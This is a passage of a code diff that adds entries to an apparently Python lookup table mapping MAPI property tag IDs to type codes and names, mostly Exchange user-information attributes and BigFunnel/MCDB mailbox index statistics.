+        0x3108: (0x0040, None, None, 4, None, None, "UserInformationAuditLastDelegateAccess"),
+        0x3109: (0x0040, None, None, 4, None, None, "UserInformationAuditLastExternalAccess"),
+        0x310a: (0x0014, None, None, 4, None, None, "UserInformationAuditLogAgeLimit"),
+        0x310b: (0x0003, None, None, 4, None, None, "UserInformationAuditOwnerFlags"),
+        0x310c: (0x0003, None, None, 4, None, None, "UserInformationAuditStorageState"),
+        0x310d: (0x001f, None, None, 4, None, None, "UserInformationAuxMailboxParentObjectId"),
+        0x310e: (0x001f, None, None, 4, None, None, "UserInformationAuxMailboxParentObjectIdBL"),
+        0x310f: (0x001f, None, None, 4, None, None, "UserInformationAuthenticationPolicy"),
+        0x3110: (0x0102, None, None, 4, None, None, "UserInformationBlockedSendersHash"),
+        0x3111: (0x101f, None, None, 4, None, None, "UserInformationBypassModerationFrom"),
+        0x3112: (0x101f, None, None, 4, None, None, "UserInformationBypassModerationFromBL"),
+        0x3113: (0x101f, None, None, 4, None, None, "UserInformationBypassModerationFromDLMembers"),
+        0x3114: (0x101f, None, None, 4, None, None, "UserInformationBypassModerationFromDLMembersBL"),
+        0x3115: (0x0003, None, None, 4, None, None, "UserInformationCallAnsweringAudioCodecLegacy"),
+        0x3116: (0x0003, None, None, 4, None, None, "UserInformationCallAnsweringAudioCodec2"),
+        0x3117: (0x101f, None, None, 4, None, None, "UserInformationCatchAllRecipientBL"),
+        0x3118: (0x1102, None, None, 4, None, None, "UserInformationCertificate"),
+        0x3119: (0x001f, None, None, 4, None, None, "UserInformationClassification"),
+        0x311a: (0x001f, None, None, 4, None, None, "UserInformationCo"),
+        0x311b: (0x101f, None, None, 4, None, None, "UserInformationCoManagedBy"),
+        0x311c: (0x101f, None, None, 4, None, None, "UserInformationCoManagedObjectsBL"),
+        0x311d: (0x001f, None, None, 4, None, None, "UserInformationCompany"),
+        0x311e: (0x001f, None, None, 4, None, None, "UserInformationConfigurationUnit"),
+        0x311f: (0x001f, None, None, 4, None, None, "UserInformationConfigurationXMLRaw"),
+        0x3120: (0x0048, None, None, 4, None, None, "UserInformationCorrelationIdRaw"),
+        0x3121: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute1"),
+        0x3122: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute10"),
+        0x3123: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute11"),
+        0x3124: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute12"),
+        0x3125: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute13"),
+        0x3126: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute14"),
+        0x3127: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute15"),
+        0x3128: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute2"),
+        0x3129: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute3"),
+        0x312a: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute4"),
+        0x312b: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute5"),
+        0x312c: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute6"),
+        0x312d: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute7"),
+        0x312e: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute8"),
+        0x312f: (0x001f, None, None, 4, None, None, "UserInformationCustomAttribute9"),
+        0x3130: (0x001f, None, None, 4, None, None, "UserInformationDatabase"),
+        0x3131: (0x001f, None, None, 4, None, None, "UserInformationDataEncryptionPolicy"),
+        0x3132: (0x001f, None, None, 4, None, None, "UserInformationDefaultPublicFolderMailbox"),
+        0x3133: (0x001f, None, None, 4, None, None, "UserInformationDefaultPublicFolderMailboxSmtpAddress"),
+        0x3134: (0x101f, None, None, 4, None, None, "UserInformationDelegateListBL"),
+        0x3135: (0x101f, None, None, 4, None, None, "UserInformationDelegateListLink"),
+        0x3136: (0x0003, None, None, 4, None, None, "UserInformationDeletedItemFlags"),
+        0x3137: (0x0003, None, None, 4, None, None, "UserInformationDeliveryMechanism"),
+        0x3138: (0x001f, None, None, 4, None, None, "UserInformationDepartment"),
+        0x3139: (0x101f, None, None, 4, None, None, "UserInformationDirectReports"),
+        0x313a: (0x101f, None, None, 4, None, None, "UserInformationDirSyncAuthorityMetadata"),
+        0x313b: (0x001f, None, None, 4, None, None, "UserInformationDirSyncId"),
+        0x313c: (0x001f, None, None, 4, None, None, "UserInformationDisabledArchiveDatabase"),
+        0x313d: (0x1102, None, None, 4, None, None, "UserInformationDLSupervisionList"),
+        0x313e: (0x0040, None, None, 4, None, None, "UserInformationElcExpirationSuspensionEndDate"),
+        0x313f: (0x0040, None, None, 4, None, None, "UserInformationElcExpirationSuspensionStartDate"),
+        0x3140: (0x0003, None, None, 4, None, None, "UserInformationElcMailboxFlags"),
+        0x3141: (0x001f, None, None, 4, None, None, "UserInformationElcPolicyTemplate"),
+        0x3142: (0x001f, None, None, 4, None, None, "UserInformationEntryId"),
+        0x3143: (0x0048, None, None, 4, None, None, "UserInformationExchangeObjectIdRaw"),
+        0x3144: (0x0102, None, None, 4, None, None, "UserInformationExchangeSecurityDescriptorRaw"),
+        0x3145: (0x001f, None, None, 4, None, None, "UserInformationExchangeVersion"),
+        0x3146: (0x0003, None, None, 4, None, None, "UserInformationExchangeUserAccountControl"),
+        0x3147: (0x001f, None, None, 4, None, None, "UserInformationExpansionServer"),
+        0x3148: (0x101f, None, None, 4, None, None, "UserInformationExtensionCustomAttribute1"),
+        0x3149: (0x101f, None, None, 4, None, None, "UserInformationExtensionCustomAttribute2"),
+        0x314a: (0x101f, None, None, 4, None, None, "UserInformationExtensionCustomAttribute3"),
+        0x314b: (0x101f, None, None, 4, None, None, "UserInformationExtensionCustomAttribute4"),
+        0x314c: (0x101f, None, None, 4, None, None, "UserInformationExtensionCustomAttribute5"),
+        0x314d: (0x001f, None, None, 4, None, None, "UserInformationExternalDirectoryObjectId"),
+        0x314e: (0x0102, None, None, 4, None, None, "UserInformationExternalSyncState"),
+        0x314f: (0x001f, None, None, 4, None, None, "UserInformationFax"),
+        0x3150: (0x000b, None, None, 4, None, None, "UserInformationFblEnabled"),
+        0x3151: (0x001f, None, None, 4, None, None, "UserInformationForwardingAddress"),
+        0x3152: (0x101f, None, None, 4, None, None, "UserInformationForwardingAddressBL"),
+        0x3153: (0x001f, None, None, 4, None, None, "UserInformationForeignGroupSid"),
+        0x3154: (0x101f, None, None, 4, None, None, "UserInformationGeneratedOfflineAddressBooks"),
+        0x3155: (0x001f, None, None, 4, None, None, "UserInformationGroupPersonification"),
+        0x3156: (0x101f, None, None, 4, None, None, "UserInformationGrantSendOnBehalfTo"),
+        0x3157: (0x101f, None, None, 4, None, None, "UserInformationGrantSendOnBehalfToBL"),
+        0x3158: (0x001f, None, None, 4, None, None, "UserInformationGroupSubtypeName"),
+        0x3159: (0x0003, None, None, 4, None, None, "UserInformationGroupType"),
+        0x315a: (0x0003, None, None, 4, None, None, "UserInformationGroupExternalMemberCount"),
+        0x315b: (0x0003, None, None, 4, None, None, "UserInformationGroupMemberCount"),
+        0x315c: (0x001f, None, None, 4, None, None, "UserInformationGuestHint"),
+        0x315d: (0x101f, None, None, 4, None, None, "UserInformationHABShowInDepartments"),
+        0x315e: (0x0003, None, None, 4, None, None, "UserInformationHeuristics"),
+        0x315f: (0x000b, None, None, 4, None, None, "UserInformationHiddenGroupMembershipEnabled"),
+        0x3160: (0x001f, None, None, 4, None, None, "UserInformationHomeMTA"),
+        0x3161: (0x001f, None, None, 4, None, None, "UserInformationId"),
+        0x3162: (0x001f, None, None, 4, None, None, "UserInformationImmutableId"),
+        0x3163: (0x101f, None, None, 4, None, None, "UserInformationInPlaceHoldsRaw"),
+        0x3164: (0x001f, None, None, 4, None, None, "UserInformationIntendedMailboxPlan"),
+        0x3165: (0x1102, None, None, 4, None, None, "UserInformationInternalRecipientSupervisionList"),
+        0x3166: (0x000b, None, None, 4, None, None, "UserInformationIsDirSynced"),
+        0x3167: (0x000b, None, None, 4, None, None, "UserInformationIsInactive"),
+        0x3168: (0x000b, None, None, 4, None, None, "UserInformationIsOrganizationalGroup"),
+        0x3169: (0x001f, None, None, 4, None, None, "UserInformationLdapRecipientFilter"),
+        0x316a: (0x001f, None, None, 4, None, None, "UserInformationLanguagesRaw"),
+        0x316b: (0x001f, None, None, 4, None, None, "UserInformationLegacyExchangeDN"),
+        0x316c: (0x001f, None, None, 4, None, None, "UserInformationLinkedPartnerGroupAndOrganizationId"),
+        0x316d: (0x1102, None, None, 4, None, None, "UserInformationLinkMetadata"),
+        0x316e: (0x0040, None, None, 4, None, None, "UserInformationLitigationHoldDate"),
+        0x316f: (0x001f, None, None, 4, None, None, "UserInformationLitigationHoldOwner"),
+        0x3170: (0x0003, None, None, 4, None, None, "UserInformationLocalizationFlags"),
+        0x3171: (0x1102, None, None, 4, None, None, "UserInformationMailboxDatabasesRaw"),
+        0x3172: (0x1048, None, None, 4, None, None, "UserInformationMailboxGuidsRaw"),
+        0x3173: (0x1102, None, None, 4, None, None, "UserInformationMailboxLocationsRaw"),
+        0x3174: (0x001f, None, None, 4, None, None, "UserInformationMailboxPlan"),
+        0x3175: (0x001f, None, None, 4, None, None, "UserInformationMailboxPlanIndex"),
+        0x3176: (0x001f, None, None, 4, None, None, "UserInformationMailboxRegion"),
+        0x3177: (0x001f, None, None, 4, None, None, "UserInformationMailboxMoveSourceArchiveMDB"),
+        0x3178: (0x001f, None, None, 4, None, None, "UserInformationMailboxMoveTargetArchiveMDB"),
+        0x3179: (0x000b, None, None, 4, None, None, "UserInformationMbxGuidEnabled"),
+        0x317a: (0x001f, None, None, 4, None, None, "UserInformationManager"),
+        0x317b: (0x001f, None, None, 4, None, None, "UserInformationMasterAccountSid"),
+        0x317c: (0x001f, None, None, 4, None, None, "UserInformationMasterDirectoryObjectIdRaw"),
+        0x317d: (0x0003, None, None, 4, None, None, "UserInformationMemberDepartRestriction"),
+        0x317e: (0x0003, None, None, 4, None, None, "UserInformationMemberJoinRestriction"),
+        0x317f: (0x101f, None, None, 4, None, None, "UserInformationMemberOfGroup"),
+        0x3180: (0x101f, None, None, 4, None, None, "UserInformationMembers"),
+        0x3181: (0x0003, None, None, 4, None, None, "UserInformationMessageHygieneFlags"),
+        0x3182: (0x000b, None, None, 4, None, None, "UserInformationMigrationToUnifiedGroupInProgress"),
+        0x3183: (0x101f, None, None, 4, None, None, "UserInformationMobileAdminExtendedSettings"),
+        0x3184: (0x0003, None, None, 4, None, None, "UserInformationMobileMailboxFlags"),
+        0x3185: (0x101f, None, None, 4, None, None, "UserInformationModeratedBy"),
+        0x3186: (0x000b, None, None, 4, None, None, "UserInformationModerationEnabled"),
+        0x3187: (0x101f, None, None, 4, None, None, "UserInformationModeratedObjectsBL"),
+        0x3188: (0x0003, None, None, 4, None, None, "UserInformationMservNameVersion"),
+        0x3189: (0x0014, None, None, 4, None, None, "UserInformationMservNetID"),
+        0x318a: (0x0102, None, None, 4, None, None, "UserInformationNTSecurityDescriptor"),
+        0x318b: (0x001f, None, None, 4, None, None, "UserInformationObjectCategory"),
+        0x318c: (0x101f, None, None, 4, None, None, "UserInformationObjectClass"),
+        0x318d: (0x001f, None, None, 4, None, None, "UserInformationOffice"),
+        0x318e: (0x001f, None, None, 4, None, None, "UserInformationOfflineAddressBook"),
+        0x318f: (0x1102, None, None, 4, None, None, "UserInformationOneOffSupervisionList"),
+        0x3190: (0x001f, None, None, 4, None, None, "UserInformationOrganizationalUnitRoot"),
+        0x3191: (0x101f, None, None, 4, None, None, "UserInformationOrgLeaders"),
+        0x3192: (0x001f, None, None, 4, None, None, "UserInformationOriginatingServer"),
+        0x3193: (0x101f, None, None, 4, None, None, "UserInformationOtherDisplayNames"),
+        0x3194: (0x101f, None, None, 4, None, None, "UserInformationOtherFax"),
+        0x3195: (0x001f, None, None, 4, None, None, "UserInformationOwaMailboxPolicy"),
+        0x3196: (0x101f, None, None, 4, None, None, "UserInformationOwners"),
+        0x3197: (0x001f, None, None, 4, None, None, "UserInformationPreviousDatabase"),
+        0x3198: (0x101f, None, None, 4, None, None, "UserInformationPublicFolderContacts"),
+        0x3199: (0x000b, None, None, 4, None, None, "UserInformationPuidEmailAddressEnabled"),
+        0x319a: (0x101f, None, None, 4, None, None, "UserInformationPurportedSearchUI"),
+        0x319b: (0x0014, None, None, 4, None, None, "UserInformationPasswordLastSetRaw"),
+        0x319c: (0x001f, None, None, 4, None, None, "UserInformationPhoneticCompany"),
+        0x319d: (0x001f, None, None, 4, None, None, "UserInformationPhoneticDisplayName"),
+        0x319e: (0x001f, None, None, 4, None, None, "UserInformationPhoneticDepartment"),
+        0x319f: (0x001f, None, None, 4, None, None, "UserInformationPhoneticFirstName"),
+        0x31a0: (0x001f, None, None, 4, None, None, "UserInformationPhoneticLastName"),
+        0x31a1: (0x101f, None, None, 4, None, None, "UserInformationPoliciesExcluded"),
+        0x31a2: (0x101f, None, None, 4, None, None, "UserInformationPoliciesIncluded"),
+        0x31a3: (0x0003, None, None, 4, None, None, "UserInformationPrimaryGroupId"),
+        0x31a4: (0x101f, None, None, 4, None, None, "UserInformationProtocolSettings"),
+        0x31a5: (0x0003, None, None, 4, None, None, "UserInformationProvisioningFlags"),
+        0x31a6: (0x001f, None, None, 4, None, None, "UserInformationQueryBaseDN"),
+        0x31a7: (0x101f, None, None, 4, None, None, "UserInformationRawCanonicalName"),
+        0x31a8: (0x1003, None, None, 4, None, None, "UserInformationRawCapabilities"),
+        0x31a9: (0x001f, None, None, 4, None, None, "UserInformationRawExternalEmailAddress"),
+        0x31aa: (0x001f, None, None, 4, None, None, "UserInformationRawManagedBy"),
+        0x31ab: (0x001f, None, None, 4, None, None, "UserInformationRawName"),
+        0x31ac: (0x001f, None, None, 4, None, None, "UserInformationRawDisplayName"),
+        0x31ad: (0x0102, None, None, 4, None, None, "UserInformationRawOnPremisesObjectId"),
+        0x31ae: (0x001f, None, None, 4, None, None, "UserInformationRecipientContainer"),
+        0x31af: (0x001f, None, None, 4, None, None, "UserInformationRecipientFilter"),
+        0x31b0: (0x101f, None, None, 4, None, None, "UserInformationRecipientFilterMetadata"),
+        0x31b1: (0x0003, None, None, 4, None, None, "UserInformationRecipientTypeDetailsValue"),
+        0x31b2: (0x0102, None, None, 4, None, None, "UserInformationReplicationSignature"),
+        0x31b3: (0x101f, None, None, 4, None, None, "UserInformationRejectMessagesFrom"),
+        0x31b4: (0x101f, None, None, 4, None, None, "UserInformationRejectMessagesFromBL"),
+        0x31b5: (0x101f, None, None, 4, None, None, "UserInformationRejectMessagesFromDLMembers"),
+        0x31b6: (0x101f, None, None, 4, None, None, "UserInformationRejectMessagesFromDLMembersBL"),
+        0x31b7: (0x0003, None, None, 4, None, None, "UserInformationReleaseTrack"),
+        0x31b8: (0x001f, None, None, 4, None, None, "UserInformationRemoteAccountPolicy"),
+        0x31b9: (0x000b, None, None, 4, None, None, "UserInformationReportToManagerEnabled"),
+        0x31ba: (0x000b, None, None, 4, None, None, "UserInformationReportToOriginatorEnabled"),
+        0x31bb: (0x0003, None, None, 4, None, None, "UserInformationResourceCapacity"),
+        0x31bc: (0x101f, None, None, 4, None, None, "UserInformationResourceMetaData"),
+        0x31bd: (0x001f, None, None, 4, None, None, "UserInformationResourcePropertiesDisplay"),
+        0x31be: (0x101f, None, None, 4, None, None, "UserInformationResourceSearchProperties"),
+        0x31bf: (0x001f, None, None, 4, None, None, "UserInformationRetentionComment"),
+        0x31c0: (0x001f, None, None, 4, None, None, "UserInformationRetentionUrl"),
+        0x31c1: (0x101f, None, None, 4, None, None, "UserInformationRMSComputerAccounts"),
+        0x31c2: (0x001f, None, None, 4, None, None, "UserInformationRoleAssignmentPolicy"),
+        0x31c3: (0x0003, None, None, 4, None, None, "UserInformationRoleGroupTypeId"),
+        0x31c4: (0x001f, None, None, 4, None, None, "UserInformationRTCSIPPrimaryUserAddress"),
+        0x31c5: (0x001f, None, None, 4, None, None, "UserInformationRtcSipLine"),
+        0x31c6: (0x0102, None, None, 4, None, None, "UserInformationSafeRecipientsHash"),
+        0x31c7: (0x0102, None, None, 4, None, None, "UserInformationSafeSendersHash"),
+        0x31c8: (0x001f, None, None, 4, None, None, "UserInformationSamAccountName"),
+        0x31c9: (0x001f, None, None, 4, None, None, "UserInformationSatchmoClusterIp"),
+        0x31ca: (0x0003, None, None, 4, None, None, "UserInformationSatchmoDGroup"),
+        0x31cb: (0x0003, None, None, 4, None, None, "UserInformationSCLDeleteThresholdInt"),
+        0x31cc: (0x0003, None, None, 4, None, None, "UserInformationSCLJunkThresholdInt"),
+        0x31cd: (0x0003, None, None, 4, None, None, "UserInformationSCLQuarantineThresholdInt"),
+        0x31ce: (0x0003, None, None, 4, None, None, "UserInformationSCLRejectThresholdInt"),
+        0x31cf: (0x1102, None, None, 4, None, None, "UserInformationSecurityProtocol"),
+        0x31d0: (0x000b, None, None, 4, None, None, "UserInformationSendOofMessageToOriginatorEnabled"),
+        0x31d1: (0x001f, None, None, 4, None, None, "UserInformationServerLegacyDN"),
+        0x31d2: (0x001f, None, None, 4, None, None, "UserInformationSharePointLinkedBy"),
+        0x31d3: (0x101f, None, None, 4, None, None, "UserInformationSharePointResources"),
+        0x31d4: (0x001f, None, None, 4, None, None, "UserInformationSharePointSiteInfo"),
+        0x31d5: (0x001f, None, None, 4, None, None, "UserInformationSharePointUrl"),
+        0x31d6: (0x101f, None, None, 4, None, None, "UserInformationSharingPartnerIdentitiesRaw"),
+        0x31d7: (0x001f, None, None, 4, None, None, "UserInformationSharingPolicy"),
+        0x31d8: (0x001f, None, None, 4, None, None, "UserInformationSid"),
+        0x31d9: (0x101f, None, None, 4, None, None, "UserInformationSidHistory"),
+        0x31da: (0x001f, None, None, 4, None, None, "UserInformationSiloName"),
+        0x31db: (0x001f, None, None, 4, None, None, "UserInformationSkypeId"),
+        0x31dc: (0x1102, None, None, 4, None, None, "UserInformationSMimeCertificate"),
+        0x31dd: (0x001f, None, None, 4, None, None, "UserInformationSourceAnchor"),
+        0x31de: (0x0040, None, None, 4, None, None, "UserInformationStsRefreshTokensValidFrom"),
+        0x31df: (0x0014, None, None, 4, None, None, "UserInformationSystemMailboxRetainDeletedItemsFor"),
+        0x31e0: (0x001f, None, None, 4, None, None, "UserInformationSystemMailboxRulesQuota"),
+        0x31e1: (0x0040, None, None, 4, None, None, "UserInformationTeamMailboxExpiration"),
+        0x31e2: (0x101f, None, None, 4, None, None, "UserInformationTeamMailboxShowInClientList"),
+        0x31e3: (0x001f, None, None, 4, None, None, "UserInformationTelephoneAssistant"),
+        0x31e4: (0x001f, None, None, 4, None, None, "UserInformationThrottlingPolicy"),
+        0x31e5: (0x0102, None, None, 4, None, None, "UserInformationThumbnailPhoto"),
+        0x31e6: (0x001f, None, None, 4, None, None, "UserInformationTitle"),
+        0x31e7: (0x101f, None, None, 4, None, None, "UserInformationTokenGroupsGlobalAndUniversal"),
+        0x31e8: (0x0003, None, None, 4, None, None, "UserInformationTransportSettingFlags"),
+        0x31e9: (0x101f, None, None, 4, None, None, "UserInformationUMAddresses"),
+        0x31ea: (0x101f, None, None, 4, None, None, "UserInformationUMCallingLineIds"),
+        0x31eb: (0x101f, None, None, 4, None, None, "UserInformationUMDtmfMap"),
+        0x31ec: (0x0003, None, None, 4, None, None, "UserInformationUMEnabledFlags"),
+        0x31ed: (0x0003, None, None, 4, None, None, "UserInformationUMEnabledFlags2"),
+        0x31ee: (0x001f, None, None, 4, None, None, "UserInformationUMMailboxPolicy"),
+        0x31ef: (0x0102, None, None, 4, None, None, "UserInformationUMPinChecksum"),
+        0x31f0: (0x001f, None, None, 4, None, None, "UserInformationUMRecipientDialPlanId"),
+        0x31f1: (0x0003, None, None, 4, None, None, "UserInformationUMServerWritableFlags"),
+        0x31f2: (0x0102, None, None, 4, None, None, "UserInformationUMSpokenName"),
+        0x31f3: (0x101f, None, None, 4, None, None, "UserInformationUnifiedGroupEventSubscriptionBL"),
+        0x31f4: (0x101f, None, None, 4, None, None, "UserInformationUnifiedGroupEventSubscriptionLink"),
+        0x31f5: (0x001f, None, None, 4, None, None, "UserInformationUnifiedGroupFileNotificationsSettings"),
+        0x31f6: (0x101f, None, None, 4, None, None, "UserInformationUnifiedGroupMembersBL"),
+        0x31f7: (0x101f, None, None, 4, None, None, "UserInformationUnifiedGroupMembersLink"),
+        0x31f8: (0x001f, None, None, 4, None, None, "UserInformationUnifiedGroupProvisioningOption"),
+        0x31f9: (0x0003, None, None, 4, None, None, "UserInformationUnifiedGroupSecurityFlags"),
+        0x31fa: (0x0003, None, None, 4, None, None, "UserInformationUnifiedGroupSKU"),
+        0x31fb: (0x0102, None, None, 4, None, None, "UserInformationUnifiedMailboxAccount"),
+        0x31fc: (0x0003, None, None, 4, None, None, "UserInformationUserAccountControl"),
+        0x31fd: (0x001f, None, None, 4, None, None, "UserInformationUserPrincipalNameRaw"),
+        0x31fe: (0x000b, None, None, 4, None, None, "UserInformationUseDatabaseQuotaDefaults"),
+        0x31ff: (0x0014, None, None, 4, None, None, "UserInformationUsnChanged"),
+        0x3200: (0x0014, None, None, 4, None, None, "UserInformationUsnCreated"),
+        0x3201: (0x0002, None, None, 4, None, None, "UserInformationUserState"),
+        0x3202: (0x101f, None, None, 4, None, None, "UserInformationVoiceMailSettings"),
+        0x3203: (0x001f, None, None, 4, None, None, "UserInformationWhenChangedRaw"),
+        0x3204: (0x001f, None, None, 4, None, None, "UserInformationWhenCreatedRaw"),
+        0x3205: (0x001f, None, None, 4, None, None, "UserInformationWindowsEmailAddress"),
+        0x3206: (0x001f, None, None, 4, None, None, "UserInformationWindowsLiveID"),
+        0x3207: (0x001f, None, None, 4, None, None, "UserInformationYammerGroupAddress"),
+        0x3208: (0x001f, None, None, 4, None, None, "UserInformationOperatorNumber"),
+        0x3209: (0x0040, None, None, 4, None, None, "UserInformationWhenReadUTC"),
+        0x320a: (0x0003, None, None, 4, None, None, "UserInformationPreviousRecipientTypeDetailsHigh"),
+        0x320b: (0x0003, None, None, 4, None, None, "UserInformationRemoteRecipientTypeHigh"),
+        0x320c: (0x0003, None, None, 4, None, None, "UserInformationRecipientTypeDetailsValueHigh"),
+        0x320d: (0x0040, None, None, 4, None, None, "UserInformationFamilyMembersUpdateInProgressStartTime"),
+        0x320e: (0x000b, None, None, 4, None, None, "UserInformationIsFamilyMailbox"),
+        0x320f: (0x0040, None, None, 4, None, None, "UserInformationMailboxRegionLastUpdateTime"),
+        0x3210: (0x0003, None, None, 4, None, None, "UserInformationSubscribeExistingGroupMembersStatus"),
+        0x3211: (0x101f, None, None, 4, None, None, "UserInformationGroupMembers"),
+        0x3212: (0x0003, None, None, 4, None, None, "UserInformationRecipientDisplayTypeRaw"),
+        0x3213: (0x001f, None, None, 4, None, None, "UserInformationUITEntryVersion"),
+        0x3214: (0x001f, None, None, 4, None, None, "UserInformationLastRefreshedFrom"),
+        0x3215: (0x000b, None, None, 4, None, None, "UserInformationIsGroupMailBox"),
+        0x3216: (0x0003, None, None, 4, None, None, "UserInformationMailboxFolderSet"),
+        0x3217: (0x000b, None, None, 4, None, None, "UserInformationWasInactiveMailbox"),
+        0x3218: (0x0040, None, None, 4, None, None, "UserInformationInactiveMailboxRetireTime"),
+        0x3219: (0x0040, None, None, 4, None, None, "UserInformationOrphanSoftDeleteTrackingTime"),
+        0x321a: (0x0014, None, None, 4, None, None, "UserInformationSubscriptions"),
+        0x321b: (0x001f, None, None, 4, None, None, "UserInformationOtherMail"),
+        0x321c: (0x000b, None, None, 4, None, None, "UserInformationIsCIDAddedToMserv"),
+        0x321d: (0x0003, None, None, 4, None, None, "UserInformationMailboxWorkloads"),
+        0x321e: (0x0040, None, None, 4, None, None, "UserInformationCacheLastAccessTime"),
+        0x3233: (0x000b, None, None, 4, None, None, "UserInformationPublicFolderClientAccess"),
+        0x330b: (0x0003, None, None, 4, None, None, "BigFunnelLargePOITableTotalPages"),
+        0x330c: (0x0003, None, None, 4, None, None, "BigFunnelLargePOITableAvailablePages"),
+        0x330d: (0x0014, None, None, 4, None, None, "BigFunnelPOISize"),
+        0x330e: (0x0003, None, None, 4, None, None, "BigFunnelMessageCount"),
+        0x330f: (0x000b, None, None, 4, None, None, "FastIsEnabled"),
+        0x3310: (0x0003, None, None, 4, None, None, "NeedsToMove"),
+        0x3311: (0x0003, None, None, 4, None, None, "MCDBMessageTableTotalPages"),
+        0x3312: (0x0003, None, None, 4, None, None, "MCDBMessageTableAvailablePages"),
+        0x3313: (0x0003, None, None, 4, None, None, "MCDBOtherTablesTotalPages"),
+        0x3314: (0x0003, None, None, 4, None, None, "MCDBOtherTablesAvailablePages"),
+        0x3315: (0x0003, None, None, 4, None, None, "MCDBBigFunnelFilterTableTotalPages"),
+        0x3316: (0x0003, None, None, 4, None, None, "MCDBBigFunnelFilterTableAvailablePages"),
+        0x3317: (0x0003, None, None, 4, None, None, "MCDBBigFunnelLargePOITableTotalPages"),
+        0x3318: (0x0003, None, None, 4, None, None, "MCDBBigFunnelLargePOITableAvailablePages"),
+        0x3319: (0x0014, None, None, 4, None, None, "MCDBSize"),
+        0x3320: (0x0014, None, None, 4, None, None, "MCDBAvailableSpace"),
+        0x3321: (0x0003, None, None, 4, None, None, "MCDBBigFunnelPostingListTableTotalPages"),
+        0x3322: (0x0003, None, None, 4, None, None, "MCDBBigFunnelPostingListTableAvailablePages"),
+        0x3323: (0x0005, None, None, 4, None, None, "MCDBMessageTablePercentReplicated"),
+        0x3324: (0x0005, None, None, 4, None, None, "MCDBBigFunnelFilterTablePercentReplicated"),
+        0x3325: (0x0005, None, None, 4, None, None, "MCDBBigFunnelLargePOITablePercentReplicated"),
+        0x3326: (0x0005, None, None, 4, None, None, "MCDBBigFunnelPostingListTablePercentReplicated"),
+        0x3327: (0x0003, None, None, 4, None, None, "BigFunnelMailboxCreationVersion"),
+        0x3328: (0x0003, None, None, 4, None, None, "BigFunnelAttributeVectorCommonVersion"),
+        0x3329: (0x0003, None, None, 4, None, None, "BigFunnelAttributeVectorSharePointVersion"),
+        0x3330: (0x0014, None, None, 4, None, None, "BigFunnelIndexedSize"),
+        0x3331: (0x0014, None, None, 4, None, None, "BigFunnelPartiallyIndexedSize"),
+        0x3332: (0x0014, None, None, 4, None, None, "BigFunnelNotIndexedSize"),
+        0x3333: (0x0014, None, None, 4, None, None, "BigFunnelCorruptedSize"),
+        0x3334: (0x0014, None, None, 4, None, None, "BigFunnelStaleSize"),
+        0x3335: (0x0014, None, None, 4, None, None, "BigFunnelShouldNotBeIndexedSize"),
+        0x3336: (0x0003, None, None, 4, None, None, "BigFunnelIndexedCount"),
+        0x3337: (0x0003, None, None, 4, None, None, "BigFunnelPartiallyIndexedCount"),
+        0x3338: (0x0003, None, None, 4, None, None, "BigFunnelNotIndexedCount"),
+        0x3339: (0x0003, None, None, 4, None, None, "BigFunnelCorruptedCount"),
+        0x333a: (0x0003, None, None, 4, None, None, "BigFunnelStaleCount"),
+        0x333b: (0x0003, None, None, 4, None, None, "BigFunnelShouldNotBeIndexedCount"),
+        0x333c: (0x0005, None, None, 4, None, None, "BigFunnelL1Rank"),
+        0x333d: (0x0002, None, None, 4, None, None, "BigFunnelResultSets"),
+        0x333e: (0x000b, None, None, 4, None, None, "BigFunnelMaintainRefiners"),
+        0x333f: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTableBuckets"),
+        0x3340: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTargetTableBuckets"),
+        0x3341: (0x101f, None, None, 4, None, None, "BigFunnelL1FeatureNames"),
+        0x3342: (0x1003, None, None, 4, None, None, "BigFunnelL1FeatureValues"),
+        0x3343: (0x0003, None, None, 4, None, None, "MCDBLogonScenarioTotalPages"),
+        0x3344: (0x0003, None, None, 4, None, None, "MCDBLogonScenarioAvailablePages"),
+        0x3345: (0x0003, None, None, 4, None, None, "BigFunnelMasterIndexVersion"),
+        0x33f0: (0x0102, None, None, 4, None, None, "ControlDataForRecordReviewNotificationTBA"),
+        0x33fe: (0x0102, None, None, 4, None, None, "ControlDataForBigFunnelQueryParityAssistant"),
+        0x33ff: (0x0003, None, None, 4, None, None, "BigFunnelQueryParityAssistantVersion"),
+        0x3401: (0x0003, None, None, 4, None, None, "MessageTableTotalPages"),
+        0x3402: (0x0003, None, None, 4, None, None, "MessageTableAvailablePages"),
+        0x3403: (0x0003, None, None, 4, None, None, "OtherTablesTotalPages"),
+        0x3404: (0x0003, None, None, 4, None, None, "OtherTablesAvailablePages"),
+        0x3405: (0x0003, None, None, 4, None, None, "AttachmentTableTotalPages"),
+        0x3406: (0x0003, None, None, 4, None, None, "AttachmentTableAvailablePages"),
+        0x3407: (0x0003, None, None, 4, None, None, "MailboxTypeVersion"),
+        0x3408: (0x1048, None, None, 4, None, None, "MailboxPartitionMailboxGuids"),
+        0x3409: (0x0003, None, None, 4, None, None, "BigFunnelFilterTableTotalPages"),
+        0x340a: (0x0003, None, None, 4, None, None, "BigFunnelFilterTableAvailablePages"),
+        0x340b: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTableTotalPages"),
+        0x340c: (0x0003, None, None, 4, None, None, "BigFunnelPostingListTableAvailablePages"),
+        0x3417: (0x001f, None, None, 4, None, None, "ProviderDisplayIcon"),
+        0x3418: (0x001f, None, None, 4, None, None, "ProviderDisplayName"),
+        0x3432: (0x0102, None, None, 4, None, None, "ControlDataForDirectoryProcessorAssistant"),
+        0x3433: (0x000b, None, None, 4, None, None, "NeedsDirectoryProcessor"),
+        0x3434: (0x101f, None, None, 4, None, None, "RetentionQueryIds"),
+        0x3435: (0x0014, None, None, 4, None, None, "RetentionQueryInfo"),
